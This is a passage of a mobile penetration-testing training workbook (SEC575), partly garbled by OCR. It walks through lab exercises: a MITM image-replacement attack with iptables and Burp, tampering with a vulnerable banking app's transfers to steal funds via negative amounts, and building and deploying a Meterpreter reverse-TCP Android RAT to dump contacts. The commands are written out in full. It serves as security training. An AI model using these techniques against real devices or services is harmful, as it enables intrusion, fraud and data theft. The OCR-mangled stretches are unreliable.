available, but an easy way to deliver a simple file through HTTP is with the Python http.server
module.

From the newly opened Terminal, change to the /root/labs/pwned directory. This directory
contains a single file, pwned.png. Start the Python http.server as shown below, listening on

port 80:

root@kali:~# ecd
/root/labs/pwned/
root@kali:~/labs/pwned# ls
pwned.png

root@kali:~/labs/pwned# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...

Applications = Places =[] Terminal = Sat 06:5 < | % S W0~

11. Open a New Linux Terminal
From the Kali Linux terminal, open a third terminal session by clicking File | New Window.

12. Redirect HTTP Traffic to Burp

With the MITM attack established, use the iptables command to redirect HTTP traffic to the Burp
Suite proxy listening on port 8080: root@kali:~# iptables -t nat -A PREROUTING -p
tcp --dport 80 -j REDIRECT --to-port 8080 You can optionally confirm that the rule

has been applied by listing all the rules in the nattable:
root@kali:~# iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
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REDIRECT tcp -- anywhere anywhere tcp dpt:http
redir ports 8080

Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain POSTROUTING (policy ACCEPT)
target prot opt source destination

[ Terminal =

root@kall: - labs/pwned

tep dpt:http ports 868

destination

in OUTPUT (
t pre 2 destination

13. Change Linux Connection Tracking Timeout

When conducting a MITM attack where traffic is redirected to a listening service, you use
iptables to redirect designated packets. In order for this to happen reliably, we also need to
disable connection tracking in the Linux kernel as well.

From your terminal, set the timeout for connection tracking using the sysct1 utility:
root@kali:~# sysctl -w
net.netfilter.nf conntrack tcp timeout_ established=10
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Optionally, you can verify the status of this flag using the sysctl utility without the -w argument
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4

After starting Ettercap, we also need to turn on L
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14. Turn on Linux IP Forwarding

195

© 2019 Joshua Wright & NVISO



15. Switch to Android
Switch to the Android system by choosing the Android 8.1 option in the Machines tab.

16. Browse to the puppywar.sec575.org Site
Switch to the Android device. Acting as the victim, browse to the
http://puppywar.sec575.org site from the Android Browser. You will see the intended site
configuration, displaying pictures of two puppies. This is the site that you will manipulate as
the attacker, replacing the pictures of Bernie and Murphy with alternate images.

If you don't see HTTP traffic show up in Burp right away, you can return to the Android

victim and press the Refresh button while holding down the Shift key. This will cause
Android to force a new HTTP request.

PuppyWar - Vote for your..

& C & http:/puppywar.sec575.0rg/

17. Return to Kali Linux
Return to the Kali Linux system by choosing the Kali Linux system in the Machines tab.

18. View Burp Suite History

From Burp Suite, navigate to Proxy | HTTP History. Here you will see the HTTP transactions
from the victim system, recorded by Burp Suite as the victim's traffic was redirected through the

attacking system.
By default, Burp Suite hides CSS, images, and binary content from the history view. Change this

configuration by clicking on the text
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box labeled "Filter: Hiding ..." and check the Images option in the Filter by MIME type section,
then click in the "Filter: Hiding ..." text box again.

Inspect this traffic, identifying the requests for the two puppy image files on the
puppywar.sec575.0rg server. Right-click on the first of the two puppy images and select Copy
URL.
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19. Add Match and Replace Rule #1

We want to replace the picture of the puppy with the pwned.png image hosted on the attacking
system. From Burp Suite, click

Proxy | Options, then scroll to the section labeled Match and Replace. Click Add to add a new
match and replace rule.

In the Add match/replace rule dialog, change the Type to Response body. Click in the Match
field and press CTRL+V to paste the URL from the Burp Suite history for the first puppy image.
In the Replace field, enter the URL for the pwned.png image: http://10.10.10.6/pwned.png
You can optionally add content (e.g., "Bernie picture"). Leave Regex match unchecked,

then click OK to add the rule. After adding the rule, ensure that it is checked in the

Enabled column.

If CTRL+V doesn't work in your setup, you can type the URL directly.
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20. Return to Burp Suite History

Return to Burp Suite and navigate to the HTTP history tab. Right-click on the second puppy image
and select Copy URL.
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21. Add Match and Replace Rule #2

Add a second Match and Replace rule in the Proxy | Options tab for the second image. Replace
the copied image URL with the pwned image URL: http://10.10.10.6/pwned.png. Ensure that the
Type field is set to Response body, then click OK to add the rule.
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22, Disable Cached Responses

Since the MITM attack depends on observing and manipulating HTTP response data, cached
resources will not be manipulated. Fortunately, Burp Suite can disable the client-to-server
headers, making the server believe that the client does not support HTTP caching.

From Burp Suite in the Match and Replace options group, scroll to the top of the option list and
click the Enabled check boxes for two default match and replace rules:

° Request header: ~If-Modified-
Since.*$ Request header: MNIf-
None-Match.*$

]
N "
Applications ~ Placos ~ ? J-StartBurp ~ Mon 19:23 1 w Ww o~
Burp Suite Free Edition v1.6.32
Bum Intruger Repeater Window Helo

[ Targer [ promy | spider | scanner | inteuder | Repeater | sequencer [ Decoder [ comparer | Extender | options [ alents |

[ Intercopt | HTTP histary | WebSacketa history [ Optiens |

[ trable dicabled form flelds

[ Remove inpit fisld length limits

[ Remove JavaScript form validation
() Remove all javascript

(U Remove <cbjsct» tags

(L Convert HTTES links to #TTP

[ Remove secure tlag from cookies

Match an

These settings ere used to automatically reslace parts of requests and responses passing throwgh tre Proxy

| Ade Enabled Tem | Match | Replace Type Camment
Aequest neader “LUserAgentAy Ugar-Agent: Mozllas 0 (comp Errulate 12
| ede L Aequest neader “LoerAgentes User-Agent: Mozlla/S 0 (iPhan... Errulate 105
Aequest neader  “User-Agent 4§ User-Agent: Mozlles5 0 (Linux Prrulate Avdroid
| Remove 4 Request header  ~ d-Modified-Since +§ Require non-cached response
Se— Aequest neader  ~f-None -Match <§ Require non-cachad response
flequest neader  “~Referer ¥§ Hide Referer header
Aequest header  *Accept-fnzeding *4 Reguire norrcompressec respo
Aesponsa hea .. “SetLocke.l§ Ignere coskes

re used to specify destination web servers for which Burp will dirsctly pass through SSL connactions No detalls about requests or responses
¢ connections wil be available in the Proxy intercept view or history.

Encbled | Host/IP range Port

23. Switch to Android
Return to the Android system by clicking the Android 8.1 option in the Machines tab.

24. Browse to puppywar.sec575.org

Return to the Android device and browse to the http://puppywar.sec575.org site (you can click the
refresh icon).
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Since the victim is browsing through the attacker's Burp Suite proxy server as part of
the MITM attack, the match and replace rules will manipulate the outbound request
header (disabling browser caching support) and the response body content, replacing
the puppy images with the pwned message.

Home | Seasch | Top Dogs | Underdogs | Uplead t PeppyWar | Contact Us

PWNED PWNED

Lsan deside! (Rraw)

25. Return to Kali Linux
Return to the Kali Linux system by choosing the Kali Linux system in the Machines tab.

26. Disable Ettercap MITM

Return to the Linux system. Click Applications | Activities Overview to see a thumbnail
of all the open windows. Click on the terminal window where you are running Ettercap.
Press q to gracefully terminate the MITM attack.

It is important to gracefully terminate MITM attacks in a pen test. Failure to gracefully
terminate a MITM attack can lead to denial-of-service conditions.

In this exercise, you faked a website defacement by modifying traffic, a fun prank to play on your
colleagues but not a terribly practical or useful exercise in most penetration tests. However, we'll
build on this skill later today after we take a look at additional attacks against mobile systems and
exploit frameworks that leverage HTTP traffic manipulation to deliver an attack payload. Using the
MITM attack with HTTP manipulation becomes a tremendously powerful attack technique against
mobile devices.
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SEC575-5.3: Exercise—Banking Transaction Manipulation
Objective

Using an HTTP replay attack, manipulate your bank account to add at least $61,700 to your bank
account.

Scenario

As part of mobile penetration testing, we need to evaluate the backend services supporting mobile
applications. In this exercise, you'll target an online banking application, using Burp Suite and the
Repeater functionality to replay HTTP transactions. Using creative editing of a captured HTTP
transaction, you'll try to steal money from a victim and deposit it into your bankaccount.

Virtual Machines

1. SEC575-E01_02: PfSense
2. Kali

3. Android 8.1

4. SEC575-E01_02: LabServer

Banking Transaction Manipulation

In this exercise, you'll assume the identity of Bob or Barbara Smith, a customer at the bank.
You have two accounts with the bank and a meager balance. Account 111111111 (nine 1) is
your savings account, and account 222222222 |s your checking account.

Unfortunately, luck has not been on your side, and you owe your bookie $61,700. Not wanting two
broken legs, you need to exploit the bank to transfer additional funds into your account to pay off
the bookie, plus perhaps some additional money for you to retire with.

Like any professional attacker or penetration tester, you start your plan with reconnaissance analysis
results. Through internet searches and physical security assessments (read: dumpster diving/trash
collection), you have identified three other customers at the bank, their account numbers and
account types, and some notes about their perceived bank balances based on transaction history.
You do not know their exact bank balance, so you will have to experiment to explore opportunities
for attack:

s User: jwright, Account #: 529179714, Type: checking, Notes: not much to see here

o User: jwright, Account #: 529179715, Type: checking,; Notes: not much to see here either

» User: kjohnson, Account #.: 529031143; Type: savings; Notes. retiring soon, good
savings!

Use the Android app to explore your account balance and the app’s functionality, and then exploit it
using Burp Suite. In this exercise, the mobile device is not the victim, instead, it is a tool that you
will use as the attacker to research and attack the backend systems used by the bank.

1. Log in to Kali Linux

From the Machines tab, select the SEC575 Kali Linux machine. Log in as the user root with
the password toor.
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2. Start Burp Suite

From Kali Linux, start Burp Suite from the quick launch toolbar on the left of the window.

Dismiss the update window and click "NEXT" and "Start Burp" to get to the main interface.

3. Configure Burp Suite

First, go to the Proxy | Intercept tab and disable the Interceptor by clicking the

Intercept is on button.

tab, select the only interface in the Proxy

ions

go to the Proxy | Opti

U

Next

isten on all

istener to |

Configure the proxy |
interfaces instead of only the local loopback. Click OK and Yes.

ick Ed

, and cl

Ion

Listeners sect

ill tell the Android VM to

use Burp as an official proxy. This is very different from a man-in-the-middle attack
where you are not able to configure the proxy settings of the targeted device.

, SInce we w

Other Burp configurations are no longer needed
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Open a new terminal window by clicking the icon in the Dock launcher on the left of the

screen.

=

4. Open Terminal Window
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5. Use ADB to Connect to the Android VM
From the Terminal, use the adb utility to establish a connection to the Android VM:

root@kali:~# adb connect 10.10.10.7:5555
connected to 10.10.10.7:5555
root@kali:~# adb devices

List of devices attached

10.10.10.7:5555 device

.
:
.

=
L
L

root@kali: ~

File Edit View Search Terminal Help

# adb connect 10.10.10.7:5555
connect to 10.10.10.7:5555

# adb device
List of devices attached
10.10.10.7:5555 device

.*
)
)

-

-
-
o
|

|
o
|
o

-

-

-

-
-
-
-

-
-

-

6. Install the InsecureBank application

Navigate to the /root/labs/transaction manipulation folder and install the
bank.apk application using adb.

root@kali
root@kali
sSuccess

~# cd labs/transaction manipulation
~/labs/transaction manipulation# adb install bank.apk

© 2019 Joshua Wright & NVISO
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.

root@kali: ~/labs/transaction_manipulation

S

.

=
S

-

H
-
-

File Edit View Search Terminal Help
# adb connect 10.10.10.7:5555
connected to 10.10.10.7:5555
adb device
List of ces attached
10.10.10. device

e
-
L

# cd labs/transaction manipulation/
t n# adb install bank.apk

on# I

-
-
-

-
-

-
-
-

L -

-
-

e
-

-

-
.

.
-

S

7. Switch to Android VM
From the Machines tab, change to the Android VM.

8. Open Terminal App

From the Android VM, open the Terminal application. Acquire root by executing the su
command and approving the popup

x86:/ $ su

x86:/ #

9. Turn on Android Proxy Support

Configure the Android device to use your Linux system, running Burp Suite as a proxy
server by running the command shown below:
x86 64@x86:/ # settings put global http proxy 10.10.10.6:8080

On a real device, we could use ProxyDroid or the Wi-Fi proxy settings to enable the
proxy. However, this is not possible on the x86 emulator since it doesn't have Wi-
Fi, and ProxyDroid contains native ARM binaries.
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Return to the Android home screen. Start the InsecureBankV2 banking application from the
© 2019 Joshua Wri

Start InsecureBankV2 app
application list.
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When prompted, enter the username bsmith and the password password, then click Sign

in
In to log in.

Log i

11

You must click the Sign In button to log in. Pressing Enter won't log you

In

12. Check Burp Transactions

ith the attack, switch back to the Kali Linux system and return to the

Burp Suite instance. Click Proxy | HTTP History. You should see at least one entry

ing the login to the banking server from the client.
If you don't see the HTTP history entry, return to step 5 and ensure the HTTP proxy feature

has been turned on, pointing to the Linux VM.

inuing w

Before cont

running
disclos
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Burp Suite Community Edition v2.1.01 - Temporary Project

.
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cations

Applic

Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Proxy ] Intruder I Repeater ISequcnter ] Decoder ]Comp-rer I Extender ]Pronct options I User options ]

HTTP history | WebSockets history | Options

Intercept

Filter: Hiding CSS. image and general binary content

Edited Status Length MIME type | Extension Title

Params

hittp

8787

://10.10.10.10:

Headers | Hex

Raw | Params

POST /login HTTP/1.1

-
-
-

Content-Type: application/x-www-form-urlencoded

10.10.10.10:8787

Host:

close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

Connection:

v

-
-

4( usernane=bsmith&password=password

Your Sad Bank Balance

ine

Exam

13

IS IS

Return to the Android VM. Click on Accounts to examine your bank account balance. Th

not nearly enough money to pay your bookie.
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Make a Small Funds Transfer

14

From the Android device, press the back button to return to the main menu. Select Transfer.

From the transfer menu, click the Get Accounts button to fill in your from and to accounts.

Select a small amount of money to transfer, such as $5. Complete the transfer by clicking on

the Transfer button.

In this step, you're generating representative traffic to inspect in Burp Suite. The

transfer of $5 within your bank accounts won't get you any more money, but it w

generate a Burp Suite transaction that we can inspect to identify exactly what is

Ived when a bank transfer is completed.

INVo
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Return to Kali Linux and the running instance of Burp Suite. Inspect the HTTP history results
© 2019 Joshua Wri

to see the captured transactions.
your user, together with parameters indicating the amount of the transfer, the source bank

You will see a POST request to /dotransfer that contains the username and password of
account (from_acc), and the destination bank account (to_acc).

Return to Kali, Inspect Burp HTTP History

15
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HTTP history | WebSockets history | Options

Intercept

Burp Project Intruder Repeater Window Help
[ Dashboard | Target | Proxy ] Intruder I Repeater ISequen:er ] Decoder ]Comp-rer T Extender ]Prond options I User options ]

Filter: Hiding CSS. image and general binary content

Edited Status Length MIME type | Extension Title

Params

http://10.10.10.10:8787

Jgetaccountsbalance

/getaccounts

POST

http://10.10.10.10:8787

POST

http://10.10.10.10:8787

http://10.10.10.10:

[

8787

S

-

P

Headers | Hex

POST /dotransfer HTTP/1.1

Content-Type: application/x-www-form-urlencoded

10.10.10.10:8787

Host:

close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

Connection

0 matches

.

111111111&amount=5

usernane=bsmith&password=password&from_acc=222222222&t0_acc

Send Transfer to Repeater

16

Right-click on the transfer transaction and choose Send to Repeater. Click on the Burp Suite

Repeater tab.
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A
Content-Length: 78 r
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Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
-
.
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17. Replay Transaction without Modification

First, replay the transaction without modifying any of the parameters. Click the Go button to
send the POST request to the server again. You should get a JSON response indicating
success, as shown in the screenshot.

Return to the Android device and check your bank balance again. You will see that the
repeated transfer has been applied in your account balances.

Before you start changing the parameters associated with an HTTP request in Burp
Repeater, send it unmodified to validate that you receive the expected response
from the server.
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Burp Project Intruder Repeater Window Help
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|

.
P i Sl Target: http://10.10.10.10:8787 2 (3)
&

Request Response

Raw | Params | Headers | Hex lRAwIHeaders Hex | Render |

POST /dotransfer HTTP/1.1 A HTTP/1.1 200 OK A
Content-Length: 78 r Server: nginx/1.4.6 (Ubuntu) -
Content-Type: application/x-www-form-urlencoded Date: Mon, 09 Sep 2019 05:13:00 GMT

Host: 10.10.10.10:8787 Content-Type: text/html; charseteutf-8

Connection: close Content-Length: 75

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) Connection: close
username=bsmith&password=password&from_acc=222222222&t0_acc=1111111118amount=5 {"to": “111111111", "message": "Success”, "from":

"222222222", “"amount™: 5}

-
o
-
i

-

-
v

P

@ |i= i [i>4] | Type a search te 0 matches @ |=< + >.| |Type a search te omatchcs
240 bytes | 11 millis

-

18. Change from_acc

Although the Android app does not allow us to specify arbitrary bank account numbers for
funds transfers, we can manipulate the HTTP transaction using Burp Repeater.

Change the from_acc value in the Request pane from 111111111 to Kevin Johnson's savings
account: 529031143. Then click Go to repeat this transaction, keeping the small
denomination.

Return to the Android banking application and inspect your bank balance again. You will see
a credit show up in your account!

When performing HTTP parameter tampering attacks, change the fewest nhumber of

parameters as possible with each test case. Change too many and a failure won't
clearly illustrate which change led to the failure.
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E*EEE*EE Connection: close Content-Length: 75 *;EE*E
| User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) Connection: close .
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19. Change the Amount Parameter

Now that you have established that a replay attack can be used to manipulate the source
bank account information, change the amount to a larger value.

Spend some time experimenting with Burp Replay, attempting to obtain the $61,700
you need before moving on to the next step.

With some experimentation, you will notice that an amount exceeding $100 will fail
every time. You need to figure out another way to get the $61,700 you need.
Consider manipulating other parameters in the Burp Request field.

© 2019 Joshua Wright & NVISO 213



e

e
-

Burp Project Intruder Repeater Window Help
Dashboard ]Y-rget I Proxy I Intruder Ikculm ISequenter ] Decoder ] Comparer I Extender ] Project options I User options ]

] - |

e
-

s
-

e

s
-

o

Target: http//10.10.10.10:8787 2 (2)
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Content-Length: 82 Server: nginx/1.4.6 (Ubuntu)
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Connection: close Content-Length: 92
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- S S

20. Transfer a Negative Dollar Amount

Change the amount field to transfer a small, negative dollar amount (-5) from the victim
Kevin Johnson's bank account to your own bank account. Evaluate the result using the
Android banking application.
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-
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21. Swap Bank Account Numbers

Since you can transfer a negative dollar amount, try changing the bank account numbers, so
the victim Kevin Johnson's bank account (529031143) is the to_acc, and your bank account
(222222222) is the from_acc. Transfer the same negative dollar amount, then check your
bank balance in the Android app. Do you get a credit?
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Increase Dollar Amount

22

. What happens

ive sign

Try to increase the dollar amount again, this time retaining the negat
when you try to transfer $-61,700, when $61,700 failed before?

Although the backend validation system from the bank rejected online bank

transfers that exceeded $100, they did not check for values that were negative.

Since we can transfer a negative dollar amount, swapping the To and From account

numbers allows us to work around this restriction.
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Transfer Away
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A second-order vulnerability in the system is that when the backend system checks the total
amount of the transfer, it doesn't reject transfers that exceed the available balance (since

there is always more than a negative dollar amount in the bank, even in the victim's bank

account). Keep experimenting with your bank transfers until you feel like you have

populated your bank account with enough money to retire in style.
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Through your examination of the Android banking application and backend traffic, you were able to
identify deficiencies in the system. What's more, through HTTP replay attacks and creative content
manipulation, you were able to populate your own bank account with enough money to pay off your
bookie and get out of town. Congratulations!?

In this exercise, you built on several of the labs and course material. Starting with a MitM attack, we
can redirect HTTP traffic from a victim to a transparent proxy server such as Burp Suite. From Burp
Suite, we can inspect transaction information, modifying it on the fly with the Burp Suite "match
and replace” functionality. Furthermore, we can repeat and manipulate transactions with Burp
Suite Repeater.

In the attack against the banking server, you applied some creative logic to steal enough money to
complete the challenge. Since the banking server limited the transfer amount to less than $100 per
transaction, you needed to come up with an alternate method to obtain the target $61,700.

By swapping the bank account numbers and changing the transfer amount to a negative

number, you bypassed the greater than 100 transfer check, but still ended up with the desired net
balance.

While this technique may or may not work against future targets, it is this kind of creative thinking
that is needed to be effective at penetration testing, overcoming intended defenses put in place by
developers in new and creative ways.

218 © 2019 Joshua Wright & NVISO



SEC575-5.4: Exercise—Meterpreter RAT Deployment
Objective

Identify a vulnerable Android target through network scanning. Once a target is identified, build and
deploy the Meterpreter Android RAT, then start the Activity to gain Meterpreter session access on
the target. With Meterpreter session access, retrieve the contents of the Contactslist.

Scenario

In this exercise, you'll build a custom Android RAT using Metasploit and the msfvenom command.
After establishing the corresponding Meterpreter handler to receive the TCP connect-back, deploy
the RAT and start the Activity using the Android am utility. Once you have established the
Meterpreter session, extract the contents of the Contacts database.

Virtual Machines

1. SEC575-E01_02: PfSense
2. Kali

3. Android 8.1

4. SEC575-E01_02: LabServer

Meterpreter RAT Deployment

Mike Hottaire ushers you into his office one morning. "The developers have a pizza party each
Friday evening. I was able to get a slice last week and it was the best pizza I ever ate. I asked
for the telephone number of the pizza place, but they wanted to keep it a secret.”

Mike authorizes you to scan for and identify the development systems running on the 10.10.10.0/24
network. If you identify an Android target, exploit it and deploy a RAT. Once you have the RAT
session established, use your access to extract data from the target system. See if you can acquire
the phone number of the pizza place.

1. Log in to Kali Linux

From the Machines tab, select the SEC575 Kali Linux machine. Log in as the user root with
the password toor.

2. Open Linux Terminal
From the Linux system, open the Terminal application.

3. Identify Android Target

Using Nmap, conduct a port scan, identifying devices listening on TCP/5555 in the range
10.10.10.1-10.10.10.20.

root@kali:~# nmap -p5555 10.10.10.1-20
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*E Applications

root@kali: ~
File Edit View Search Terminal Help
MAC Address: ©00:15:5D:63:38:C1 (Microsoft)

Nmap scan report for 10.10.10.7
Host is up (0.00030s latency).

PORT STATE SERVICE
5555/tcp open freeciv|
MAC Address: 00:15:5D:63:38:C3 (Microsoft)

scan report for 10.10.10.10
is up (0.00029s latency).

MAC Address: 01:80:00 (Microsoft)

n report for 10.10.1
up (0.000041s latenc)

POR STATE SERVICE
5555/tcp closed freeciv

Nmap done: 20 IP addresses (4 hosts up) scanned in 0.96 secon
|

4. Identify Your IP Address

Using the ifconfig command, identify the IP address of the default network interface on the
Kali Linux system.

root@kali:~# ifconfig

You will need the IP address of your Meterpreter handler for use in specifying where
the Android RAT callback will connect to. This IP address needs to be accessible to
the victim and should not be filtered or blocked by a firewall or other network
filtering device.

5. Build the Meterpreter RAT

Having identified the target at 10.10.10.7 listening on TCP/5555, you can build and deploy
your RAT. First, start the Metasploit Meterpreter reverse TCP handler, as shown.

root@kali:~# msfconsole -gx "use exploit/multi/handler; set PAYLOAD
android/meterpreter/reverse_ tcp; set LHOST 10.10.10.6; set
ExitOnSession false; exploit -j -z"

If you would rather enter the individual msfconsole commands individually, run

msfconsole with no arguments, then run each command (delimited by the semi
colon), one per line.
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:~# msfconsole -gx "use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse tcp; set LHOST 10.10.160.

6; set ExitOnSession false; exploit -j -2z"
-

* WARNING: No database support: No database YAML file

PAYLOAD => android/meterpreter/reverse tcp
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6. Open a New Terminal Window

Leave the existing terminal window running the Meterpreter handler running and open a
new window by clicking File | New Window.

7. Build the Meterpreter RAT
From the command line, use the msfvenom command to build the Meterpreter RAT:

root@kali:~# msfvenom -p android/meterpreter/reverse tcp
LHOST=10.10.10.6 LPORT=4444 -o msf.apk
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root@kali: ~

File Edit View Search Terminal
:~# ifconfig
ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.6 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::215:5dff:fe63:38c4 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:63:38:c4 txqueuelen 1000 (Ethernet)
RX packets 370 bytes 93137 (90.9 KiB)
RX errors © dropped © overruns @ frame ©
TX packets 83 bytes 4652 (4.5 KiB)
TX errors © dropped © overruns @ carrier © collisions ©

- flags=73<UP, LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
. inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 26 bytes 1592 (1.5 KiB)
RX errors © dropped 6 overruns © frame ©
TX packets 26 bytes 1592 (1.5 KiB)
. TX errors © dropped @ overruns © carrier @ collisions @

:~# msfvenom -p android/meterpreter/reverse tcp LHOST=10.10.10.6 LPORT=444 -o msf.apk

"1 [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10086 bytes
Saved as: msf.apk
i~#
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8. Connect to Android Target
Using the adb command, connect to the Android target system.

root@kali:~# adb connect 10.10.10.7
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Deploy Meterpreter RAT

9

Using the adb command, deploy the Meterpreter RAT to the target Android device

root@kali:~# adb

tall msf.apk

ins
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~# adb shell am start -n com.metasplo
NOW manipu

Meterpreter handler. This indicates that you started the RAT successfully and can

Using the adb utility, run the am utility on the target Android device, launching the
After starting the Android RAT, you will see a new session connect back to your

entrypoint to the application at com.metasploit.stage/.MainActivity

Start the Meterpreter RAT

root@kal

4

10.
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root@k

File Edit View Search Terminal Help
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 100 bytes 5979 (5.8 KiB)

errors © dropped © overruns @ frame ©
packets 100 bytes 5979 (5.8 KiB)
errors @ dropped © overruns © carrier @ collisions ©

:~# msfconsole -qx "use exploit/multi/handler; set PAYLOAD android/mete
rpreter/reverse tcp; set LHOST 10.10.10.6; set ExitOnSession false; exploit -j -
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ExitOnSession => false

2
e
-
.
-
-

-
-

] Exploit completed, but

o
-
-
-

exploit(

;
-
-

-
-

-
e

07:51:45 -0400

e
-
o

e
-

=

-

-
s

-
-
-

-
-

support: No database YAML file

eter/rever tcp

] Exploit running as background job 6.

no session was created.

Started reverse TCP handler on 10.10.10.6:4444

) [ Sending stage (72435 bytes) to 10.10.10.7

Meterpreter session 1 opened (160.10.10.6:4444 -> 10.10.10.7:54550) at 2019-0

root@kali: ~

File Edit View Search Terminal Help
# adb connect 10.10.10.7
connected to 10.10.10.7:5555
# adb install msf.apk
Success

# adb shell am start -n com.metasploit.stage/.MainActivity

Starting: Intent { cmp=com.metasploit.stage/.MainActivity }
#

11. Interact with the Meterpreter Session

When a Meterpreter payload connects back to the handler, it is preserved as a session. Use
the sessions command to enumerate the available sessions, then interact with the session as

shown.

msf exploit (handler)
msf exploit(handler)

If you don't see a command prompt, simply press enter a few times.

> sessions
> sessions -i 1
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Meterpreter Help
Use the help command in the Meterpreter session to see a list of available commands. Of

particular interest to us are the Android-specific capabilities.

ine

meterpreter> help

Exam
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from storage

rooted
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e
Help
messages
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-
-
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e
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.
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%g
-

-

"
-

Get current lat-long using WLAN information

Start an Android activity from a Uri string

Check if device is

Get call log
Get current lat-long using geolocation

Hide the app icon from the launcher
Manage interval collection capabilities
Sends SMS from target session

Set Ringer Mode

Query a SQLite database

Enable/Disable Wakelock

Get contacts list

Description
Get

E
m
U
2
EQ
03
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v E
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e
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List installed apps in the device
Start Main Activty for package name
Request to uninstall application

Request to install apk file

play an audio file on target system, nothing written on disk
Description

Description

-
L
L
-
-

-
-

Extract Android Data

-
-
-
-
i

Search Termina
-

S

snap
query

View

e

sqlite

Audio Output Commands

audio mode

ions W\
Edit

webcam
webcam_stream
Command
activity start
dump calllog
dump contacts
dump sms
geolocate
hide app icon
interval collect
set
wlan_geolocate
Command
app install
app uninstall

t

Stdapi
Application Controller Commands

Android Command

Ica

Appli

-
-
-

i
i
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Because we are targeting the custom Android x86 virtual machine, some commands
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may not work correctly.
From the Meterpreter session, extract the contacts, using the dump_contacts command

Spend a few minutes experimenting with the available Meterpreter commands, extracting

available data from the device.
meterpreter > dump_contacts

14. Extract Contacts

13
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File Edit View Search Terminal
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s
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-
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-

*v*#
sy
.
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_

Stdapi: Audio Output Commands

.
=

Description

.
-

-
-

-
o
-

-

play an audio file on target system, nothing written on disk .

*#
-
-
-

i
-
-

-

*@*#*#
s
.
e

- Android Commands

*.*@*#*#*#
ey
.
L

-
-

-
o
-

-

Command Descriptio

i
-
-

#*v*
e
.

e

"
i
.
-

activity start Start an Android activity from a Uri string

check root Check if device is rooted

dump calllog Get call log .
dump contacts Get contacts list P
dump_sms Get sms messages i
geolocate Get current lat-long using geolocation .
hide app icon Hide the app icon from the launcher -
interval collect Manage interval collection capabilities

send _sms Sends SMS from target session .
set audio mode Set Ringer Mode .
sqlite query Query a SQLite database from storage

wakelock Enable/Disable Wakelock

wlan geolocate Get current lat-long using WLAN information

*.*@*@*#*#*#*#
e
..
S

-
-

-
o
-

-

*@*#
iy
.
o

%*@*#*#
s
.

e

-

Description
install Request to install apk file
list List installed apps in the device
run Start Main Activty for package name
app uninstall Request to uninstall application

meterpreter > dump contacts
*] Fetching 546 contacts into list e

-
b

Contacts list saved to: contacts dump 20190830075412.txt -
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15. Return to Prior Terminal
Return to the prior terminal (or open a new terminal).

16. Examine Contacts

The Meterpreter dump_contacts command will write the contents of the Contact list to a file
in the user's home directory. From your terminal, identify the Contacts file, then display the
file contents.

root@kali:~# ed /root

root@kali:~# 1s

Desktop labs msf.apk contacts dump 20190830075412.txt
root@kali:~# cat contacts_dump 20190830075412.txt
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root@kali:
File Edit View Search Terminal Help
# 1s
Android Desktop Download
contacts dump 20190830075412.txt Document Lab msf.apk
:~# cat contacts dump 20190830075412.txt

[+] Contacts list dump

Date: 2019-08-30 07:54:13 -0400

0S: Android 8.1.0 Linux 4.19.50-android-x86 64-geeb7e76e5df5 (x86 64)
Remote IP: 10.10.10.7

Remote Port: 54550

Pizza Mario

202-555-830

-
-
=

-

-
o
&

55

e
o
-

Name
Number +1 385-555-382

i

e

o
-

e
e

e
e

#4
Name Dry Cleaner
Number : +1 593-555-382

s

#5

Name Olaides Das neves

Number (85) 3404-5787

Email olaides.dasneves@example.com

#6

Name Dustin Cooper

Number 016974 49980

Email dustin.cooper@example.com

e
B
.
-

-

s
-
-
-
-

-
-

Tommy Shaw
(439)-869-4612

-
.

.
e

o S o
- - -
L - .

Looks like only part of the phone number was included in the contacts list. Luckily, this was enough
information to figure out the pizza place that the developers used. Next Friday, Mike is organizing a
pizza party for the security department.

Congratulations!
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